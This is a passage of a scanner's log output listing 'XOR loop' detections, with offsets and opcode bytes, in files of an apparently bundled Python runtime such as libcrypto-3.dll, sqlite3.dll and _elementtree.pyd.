offset 1563909; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1563975; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564012; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564122; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564195; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564292; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564405; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564502; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564617; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564781; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564886; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1564983; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565096; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565193; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565286; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565323; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565335; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565391; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565438; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565548; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565611; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565653; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565716; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565758; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1565808; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1566482; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1566696; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1566801; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1567417; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1648472; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1648862; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1649252; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1649651; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1650032; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1650422; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1650812; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1652743; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1653133; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1653523; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1653922; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1654303; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1654693; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1655083; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1661288; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1678369; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1679303; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1679771; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1691103; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1691264; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1725595; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1725717; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1725728; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1726110; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1726235; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1726352; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1726627; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1726935; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1727243; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1727554; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1727862; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1728170; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1728557; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1728674; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1729965; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1730090; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1730207; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1730482; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1730790; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1731098; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1731409; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1731717; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1732025; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1732412; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1732529; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2061386; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2066900; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2067612; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2070938; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2071031; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2071264; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2071541; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2073097; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2074891; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2074984; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2075127; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2075229; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2075367; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2075469; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2076962; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2084198; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2084418; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2084653; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2101952; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2260097; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2260279; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2260289; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2442198; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2442427; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2450882; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2577587; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2672152; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2697204; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3376649; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3377897; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3386677; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3389673; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3398119; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3400627; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3401663; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3403321; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3409607; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3420013; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3424223; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3431083; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3431763; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3434433; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 1364219; code bytes = 30040e Found XOR loop in file "libcrypto-3.dll" at offset 284176; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 1295311; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 1295327; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 1345875; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 1644599; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 1683519; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2145564; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2552200; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2962194; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2963601; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2964240; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3133868; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3133948; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3156988; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3378242; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3379364; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3384536; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3384730; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3399694; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3409716; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3414712; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3430914; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3431522; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3432380; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3439544; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3446516; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3449256; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3450278; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3452278; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3453274; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3459704; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3461128; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3464022; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3465870; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3472864; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3473644; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3474776; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3492497; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3495372; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3495619; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1167944; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 1193116; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 1219357; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 1238951; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 33162; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 33199; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 33291; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 33367; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 33455; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 33496; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 33532; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 267442; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 373592; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 373597; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 405897; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 525151; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 623648; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 684049; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 707823; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 707828; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 841239; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 935524; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 963262; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 963618; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1107466; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1218233; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1246133; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 22822; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 239493; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 249036; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 681269; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1172316; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1231704; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1239356; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1241822; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1252788; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1258641; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1261513; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1261760; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 50732; code bytes = 30d0 Found XOR loop in file "libssl-3.dll" at offset 606653; code bytes = 30d0 Found XOR loop in file "libssl-3.dll" at offset 607901; code bytes = 30d0 Found XOR loop in file "libssl-3.dll" at offset 608317; code bytes = 30d0 Found XOR loop in file "libssl-3.dll" at offset 614735; code bytes = 30d0 Found XOR loop in file "libssl-3.dll" at offset 616905; code bytes = 30d0 Found XOR loop in file "libssl-3.dll" at offset 271078; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 271307; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 440832; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 605621; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 116293; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 116325; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 116405; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 119077; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 242222; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 372666; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 612334; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 612448; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 618946; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 627857; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 630732; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 630979; code bytes = 8030 Found XOR loop in file "python.exe" at offset 89401; code bytes = 30d0 Found XOR loop in file "python.exe" at offset 2597; code bytes = 33c1 Found XOR loop in file "python.exe" at offset 10494; code bytes = 30040e Found XOR loop in file "python.exe" at offset 21199; code bytes = 8030 Found XOR loop in file "python.exe" at offset 25806; code bytes = 8030 Found XOR loop in file "python.exe" at offset 47754; code bytes = 8030 Found XOR loop in file "python.exe" at offset 93841; code bytes = 8030 Found XOR loop in file "python.exe" at offset 96713; code bytes = 8030 Found XOR loop in file "python.exe" at offset 96960; code bytes = 8030 Found XOR loop in file "py.exe" at offset 22195; code bytes = 30d0 Found XOR loop in file "py.exe" at offset 24906; code bytes = 30d0 Found XOR loop in file "py.exe" at offset 47244; code bytes = 30d0 Found XOR loop in file "py.exe" at offset 2612; code bytes = 33c1 Found XOR loop in file "py.exe" at offset 12117; code bytes = 8030 Found XOR loop in file "py.exe" at offset 92305; code bytes = 8030 Found XOR loop in file "py.exe" at offset 95178; code bytes = 8030 Found XOR loop in file "py.exe" at offset 95425; code bytes = 8030 Found XOR loop in file "vcruntime140.dll" at offset 70365; code bytes = 30d0 Found XOR loop in file "vcruntime140.dll" at offset 58049; code bytes = 33c1 Found XOR loop in file "vcruntime140.dll" at offset 60302; code bytes = 33c1 Found XOR loop in file "vcruntime140.dll" at offset 76596; code bytes = 8030 Found XOR loop in file "vcruntime140.dll" at offset 86785; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 59025; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 61897; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 62144; code bytes = 8030 Found XOR loop in file "libffi-8.dll" at offset 15796; code bytes = 33c1 Found XOR loop in file "libffi-8.dll" at offset 27281; code bytes = 8030 Found XOR loop in file "libffi-8.dll" at offset 30148; code bytes = 8030 Found XOR loop in file "libffi-8.dll" at offset 30395; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 115092; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 437316; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 739496; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 801573; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 801614; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 801896; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 812269; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 812325; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 812381; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 11921; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 172424; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 415347; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 806297; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 806917; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 232012; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 441044; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 645072; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 1124497; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 1127370; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 1127617; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 178715; code bytes = 30d0 Found XOR loop in file "_decimal.pyd" at offset 185123; code bytes = 30d0 Found XOR loop in file "_decimal.pyd" at offset 131976; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 190609; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 193481; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 193728; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 156981; code bytes = 30d0 Found XOR loop in file "pyexpat.pyd" at offset 159475; code bytes = 30d0 Found XOR loop in file "pyexpat.pyd" at offset 160943; code bytes = 30d0 Found XOR loop in file "pyexpat.pyd" at offset 121698; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 153957; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 100306; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 105487; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 107438; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 166033; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 168906; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 169153; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 44552; code bytes = 30d0 Found XOR loop in file "_ssl.pyd" at offset 140999; code bytes = 30d0 Found XOR loop in file "_ssl.pyd" at offset 142785; code bytes = 30d0 Found XOR loop in file "_ssl.pyd" at offset 144861; code bytes = 30d0 Found XOR loop in file "_ssl.pyd" at offset 44432; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 136799; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 138584; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 142080; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 144156; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 149649; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 152521; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 152768; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 26317; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 26417; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 29018; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 29117; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 37245; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 37488; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 37779; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 37922; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 38057; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 39472; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 39645; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 91124; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 135805; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 16846; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 141457; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 144329; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 144576; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 99821; code bytes = 30d0 Found XOR loop in file "_elementtree.pyd" at offset 71875; code bytes = 33c1 Found XOR loop in file "_elementtree.pyd" at offset 1088; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 1376; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 1531; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 1772; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 1978; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 2379; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 2441; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 3001; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 3011; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 3145; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 3155; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 3331; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 3391; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 3424; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 3626; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 3813; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4011; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4044; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4054; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4121; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4367; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4413; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4435; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4446; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4465; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 4899; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 6434; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 6485; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 6525; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 6972; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 7649; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 8098; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 8184; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 8504; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 8658; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 8983; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 9066; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 9146; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 9345; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 9412; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 9440; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 9607; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 9868; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 9897; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 10031; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 10062; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 10093; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 10106; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 10224; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 10312; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 10490; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 10617; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 11242; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 11798; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 11876; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 11968; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12017; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12030; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12056; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12137; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12156; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12257; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12343; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12362; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12569; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12626; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12662; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 12767; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 13158; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 13194; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 13285; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 13298; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 13407; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 13621; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 13921; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 14004; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 14070; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 14282; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 14677; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 14832; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 14945; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15090; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15108; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15165; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15207; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15275; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15443; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15462; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15572; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15591; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15796; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 15816; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 16116; code 